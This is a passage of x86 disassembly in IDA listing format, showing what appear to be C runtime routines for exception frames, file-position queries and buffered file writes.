		add	esp, 8
		test	eax, eax
		jz	short loc_42FD40
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_4237A0
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+14h], 4
		jnz	short loc_42FD3E
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx], 0
		jz	short loc_42FD3E
		mov	eax, [ebp+arg_C]
		add	eax, 8
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		push	edx
		call	sub_42FF10
		add	esp, 8
		mov	ecx, [ebp+var_1C]
		mov	[ecx], eax


loc_42FD3E:				; CODE XREF: sub_42FC00+11Aj
					; sub_42FC00+122j
		jmp	short loc_42FD45
; ---------------------------------------------------------------------------


loc_42FD40:				; CODE XREF: sub_42FC00+E5j
					; sub_42FC00+F7j
		call	sub_430060


loc_42FD45:				; CODE XREF: sub_42FC00:loc_42FD3Ej
		jmp	loc_42FE53
; ---------------------------------------------------------------------------


loc_42FD4A:				; CODE XREF: sub_42FC00+D0j
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_42FDB0
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_4359D0
		add	esp, 8
		test	eax, eax
		jz	short loc_42FDA6
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_435A00
		add	esp, 8
		test	eax, eax
		jz	short loc_42FDA6
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42FF10
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_4237A0
		add	esp, 0Ch
		jmp	short loc_42FDAB
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: sub_42FC00+166j
					; sub_42FC00+178j
		call	sub_430060


loc_42FDAB:				; CODE XREF: sub_42FC00+1A4j
		jmp	loc_42FE53
; ---------------------------------------------------------------------------


loc_42FDB0:				; CODE XREF: sub_42FC00+151j
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_4359D0
		add	esp, 8
		test	eax, eax
		jz	loc_42FE4E
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_435A00
		add	esp, 8
		test	eax, eax
		jz	short loc_42FE4E
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_435A30
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE4E
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_42FE25
		push	1
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42FF10
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_423310
		jmp	short loc_42FE4C
; ---------------------------------------------------------------------------


loc_42FE25:				; CODE XREF: sub_42FC00+1F8j
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42FF10
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_423300


loc_42FE4C:				; CODE XREF: sub_42FC00+223j
		jmp	short loc_42FE53
; ---------------------------------------------------------------------------


loc_42FE4E:				; CODE XREF: sub_42FC00+1C3j
					; sub_42FC00+1D9j ...
		call	sub_430060


loc_42FE53:				; CODE XREF: sub_42FC00:loc_42FCC1j
					; sub_42FC00:loc_42FD45j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42FE6A
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_42FFB0


loc_42FE6A:				; CODE XREF: sub_42FC00:loc_42FC46j
					; sub_42FC00+25Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42FC00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FE80	proc near		; CODE XREF: sub_42F3F0+252p
					; sub_42FB3D+55p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F2E0
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	[ebp+arg_0], 0
		jz	short loc_42FEF5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_42FEF5
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_4232F0
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42FEF5
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_42FFB0


loc_42FEF5:				; CODE XREF: sub_42FE80+2Aj
					; sub_42FE80+36j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42FE80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FF10	proc near		; CODE XREF: sub_42FC00+ADp
					; sub_42FC00+131p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jl	short loc_42FF4F
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	ecx, [ebp+var_4]
		add	ecx, [eax+edx]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, [edx+4]
		mov	[ebp+var_4], eax


loc_42FF4F:				; CODE XREF: sub_42FF10+16j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42FF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FF60	proc near		; CODE XREF: sub_4233F0+4Dp
					; sub_42F870+8Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_42375D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42FF9F
		mov	ecx, 2


loc_42FF9F:				; CODE XREF: sub_42FF60+38j
		push	ecx
		call	sub_42375D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_42FF60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FFB0	proc near		; CODE XREF: sub_42F3F0:loc_42F683p
					; sub_42F970:loc_42F991p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00430024 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F2F0
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		call	sub_42B630
		cmp	dword ptr [eax+60h], 0
		jz	short loc_430010
		mov	[ebp+var_4], 1
		call	sub_42B630
		call	dword ptr [eax+60h]
		mov	[ebp+var_4], 0
		jmp	short loc_430010
; ---------------------------------------------------------------------------


loc_430000:				; DATA XREF: .XComp0:0043F300o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_430006:				; DATA XREF: .XComp0:0043F304o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_430010:				; CODE XREF: sub_42FFB0+36j
					; sub_42FFB0+4Ej
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_43001E
		jmp	short loc_430024
sub_42FFB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_43001E	proc near		; CODE XREF: sub_42FFB0+67p
					; DATA XREF: .XComp0:0043F2F8o
		call	sub_435A60
		retn
sub_43001E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FFB0


loc_430024:				; CODE XREF: sub_42FFB0+6Cj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42FFB0
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_42B630
		cmp	dword ptr [eax+64h], 0
		jz	short loc_430056
		call	sub_42B630
		call	dword ptr [eax+64h]


loc_430056:				; CODE XREF: .XComp0:0043004Cj
		call	sub_42FFB0
		pop	ebp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430060	proc near		; CODE XREF: sub_423600+23p
					; sub_423600:loc_42366Dp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004300D0 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F308
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		cmp	off_4528C0, 0
		jz	short loc_4300BC
		mov	[ebp+var_4], 1
		call	off_4528C0
		mov	[ebp+var_4], 0
		jmp	short loc_4300BC
; ---------------------------------------------------------------------------


loc_4300AC:				; DATA XREF: .XComp0:0043F318o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4300B2:				; DATA XREF: .XComp0:0043F31Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_4300BC:				; CODE XREF: sub_430060+34j
					; sub_430060+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4300CA
		jmp	short loc_4300D0
sub_430060	endp


; =============== S U B	R O U T	I N E =======================================



sub_4300CA	proc near		; CODE XREF: sub_430060+63p
		call	sub_42FFB0
		retn
sub_4300CA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430060


loc_4300D0:				; CODE XREF: sub_430060+68j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_430060
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4300F0	proc near		; CODE XREF: sub_423D50+10Ep
					; sub_42A430+216p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E96A0
		jnb	short loc_430121
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_43013C


loc_430121:				; CODE XREF: sub_4300F0+Dj
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_43016E
; ---------------------------------------------------------------------------


loc_43013C:				; CODE XREF: sub_4300F0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4336D0
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_430180
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433760
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_43016E:				; CODE XREF: sub_4300F0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4300F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430180	proc near		; CODE XREF: sub_429A90+40Dp
					; sub_4300F0+64p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433550
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_4301AE
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_43022E
; ---------------------------------------------------------------------------


loc_4301AE:				; CODE XREF: sub_430180+19j
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	near ptr 28A1045h
		nop
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_4301D6
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_4], eax
		jmp	short loc_4301DD
; ---------------------------------------------------------------------------


loc_4301D6:				; CODE XREF: sub_430180+49j
		mov	[ebp+var_4], 0


loc_4301DD:				; CODE XREF: sub_430180+54j
		cmp	[ebp+var_4], 0
		jz	short loc_4301F4
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42C140
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_43022E
; ---------------------------------------------------------------------------


loc_4301F4:				; CODE XREF: sub_430180+61j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4E95A0[edx*4]
		mov	dl, [ecx+eax+4]
		and	dl, 0FDh
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4E95A0[eax*4]
		mov	[eax+ecx+4], dl
		mov	eax, [ebp+var_8]


loc_43022E:				; CODE XREF: sub_430180+29j
					; sub_430180+72j
		mov	esp, ebp
		pop	ebp
		retn
sub_430180	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_430247:				; CODE XREF: .XComp0:0043026Fj
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_43026B
		push	offset dword_43E494
		push	0
		push	32h
		push	offset dword_43F320
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_43026B
		int	3		; Trap to Debugger


loc_43026B:				; CODE XREF: .XComp0:0043024Bj
					; .XComp0:00430268j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_430247
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_424B30
		add	esp, 4
		mov	edx, [ebp+8]
		push	edx
		call	sub_4302B0
		add	esp, 4
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_424BA0
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4302B0	proc near		; CODE XREF: sub_423D50+87p
					; .XComp0:00430281p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi


loc_4302B9:				; CODE XREF: sub_4302B0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_4302DD
		push	offset dword_43E4A4
		push	0
		push	63h
		push	offset dword_43F320
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4302DD
		int	3		; Trap to Debugger


loc_4302DD:				; CODE XREF: sub_4302B0+Dj
					; sub_4302B0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4302B9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+10h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_430305
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0


loc_430305:				; CODE XREF: sub_4302B0+49j
		push	1
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4300F0
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jge	short loc_430326
		or	eax, 0FFFFFFFFh
		jmp	loc_430543
; ---------------------------------------------------------------------------


loc_430326:				; CODE XREF: sub_4302B0+6Cj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jnz	short loc_430346
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, [eax+4]
		mov	eax, ecx
		jmp	loc_430543
; ---------------------------------------------------------------------------


loc_430346:				; CODE XREF: sub_4302B0+84j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 3
		test	eax, eax
		jz	short loc_4303BC
		mov	ecx, [ebp+var_8]
		sar	ecx, 5
		mov	edx, [ebp+var_8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_4303BA
		mov	edx, [ebp+var_C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		jmp	short loc_43039A
; ---------------------------------------------------------------------------


loc_430391:				; CODE XREF: sub_4302B0:loc_4303B8j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_43039A:				; CODE XREF: sub_4302B0+DFj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx]
		jnb	short loc_4303BA
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_4303B8
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_4303B8:				; CODE XREF: sub_4302B0+FDj
		jmp	short loc_430391
; ---------------------------------------------------------------------------


loc_4303BA:				; CODE XREF: sub_4302B0+D4j
					; sub_4302B0+F2j
		jmp	short loc_4303DF
; ---------------------------------------------------------------------------


loc_4303BC:				; CODE XREF: sub_4302B0+AFj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jnz	short loc_4303DF
		call	sub_42C1E0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_430543
; ---------------------------------------------------------------------------


loc_4303DF:				; CODE XREF: sub_4302B0:loc_4303BAj
					; sub_4302B0+11Aj
		cmp	[ebp+var_1C], 0
		jnz	short loc_4303ED
		mov	eax, [ebp+var_18]
		jmp	loc_430543
; ---------------------------------------------------------------------------


loc_4303ED:				; CODE XREF: sub_4302B0+133j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_43053D
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_430413
		mov	[ebp+var_18], 0
		jmp	loc_43053D
; ---------------------------------------------------------------------------


loc_430413:				; CODE XREF: sub_4302B0+155j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		sar	edx, 5
		mov	eax, [ebp+var_8]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4E95A0[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 80h
		test	edx, edx
		jz	loc_430534
		push	2
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4300F0
		add	esp, 0Ch
		cmp	eax, [ebp+var_1C]
		jnz	short loc_4304C0
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+8]
		add	edx, [ebp+var_10]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		jmp	short loc_430487
; ---------------------------------------------------------------------------


loc_43047E:				; CODE XREF: sub_4302B0:loc_4304A3j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_430487:				; CODE XREF: sub_4302B0+1CCj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_14]
		jnb	short loc_4304A5
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_4304A3
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_4304A3:				; CODE XREF: sub_4302B0+1E8j
		jmp	short loc_43047E
; ---------------------------------------------------------------------------


loc_4304A5:				; CODE XREF: sub_4302B0+1DDj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 2000h
		test	edx, edx
		jz	short loc_4304BE
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_4304BE:				; CODE XREF: sub_4302B0+203j
		jmp	short loc_430534
; ---------------------------------------------------------------------------


loc_4304C0:				; CODE XREF: sub_4302B0+1B5j
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4300F0
		add	esp, 0Ch
		cmp	[ebp+var_10], 200h
		ja	short loc_430500
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_430500
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 400h
		test	eax, eax
		jnz	short loc_430500
		mov	[ebp+var_10], 200h
		jmp	short loc_430509
; ---------------------------------------------------------------------------


loc_430500:				; CODE XREF: sub_4302B0+229j
					; sub_4302B0+236j ...
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+18h]
		mov	[ebp+var_10], edx


loc_430509:				; CODE XREF: sub_4302B0+24Ej
		mov	eax, [ebp+var_8]
		sar	eax, 5
		mov	ecx, [ebp+var_8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 4
		test	eax, eax
		jz	short loc_430534
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_430534:				; CODE XREF: sub_4302B0+19Cj
					; sub_4302B0:loc_4304BEj ...
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_10]
		mov	[ebp+var_1C], edx


loc_43053D:				; CODE XREF: sub_4302B0+148j
					; sub_4302B0+15Ej
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_18]


loc_430543:				; CODE XREF: sub_4302B0+71j
					; sub_4302B0+91j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4302B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430550	proc near		; CODE XREF: sub_423EC0+147p
					; sub_425630+57p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E96A0
		jnb	short loc_430581
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_43059C


loc_430581:				; CODE XREF: sub_430550+Dj
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4305CE
; ---------------------------------------------------------------------------


loc_43059C:				; CODE XREF: sub_430550+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4336D0
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4305E0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433760
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_4305CE:				; CODE XREF: sub_430550+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_430550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4305E0	proc near		; CODE XREF: sub_430550+64p
					; sub_437FD0+145p

var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_10]
		mov	[ebp+var_420], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_430606
		xor	eax, eax
		jmp	loc_43084F
; ---------------------------------------------------------------------------


loc_430606:				; CODE XREF: sub_4305E0+1Dj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_430638
		push	2
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_430180
		add	esp, 0Ch


loc_430638:				; CODE XREF: sub_4305E0+46j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		test	eax, eax
		jz	loc_43076C
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_C], 0


loc_43066D:				; CODE XREF: sub_4305E0:loc_430765j
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+arg_4]
		cmp	edx, [ebp+arg_8]
		jnb	loc_43076A
		lea	eax, [ebp+var_414]
		mov	[ebp+var_8], eax


loc_430685:				; CODE XREF: sub_4305E0+115j
		mov	ecx, [ebp+var_8]
		lea	edx, [ebp+var_414]
		sub	ecx, edx
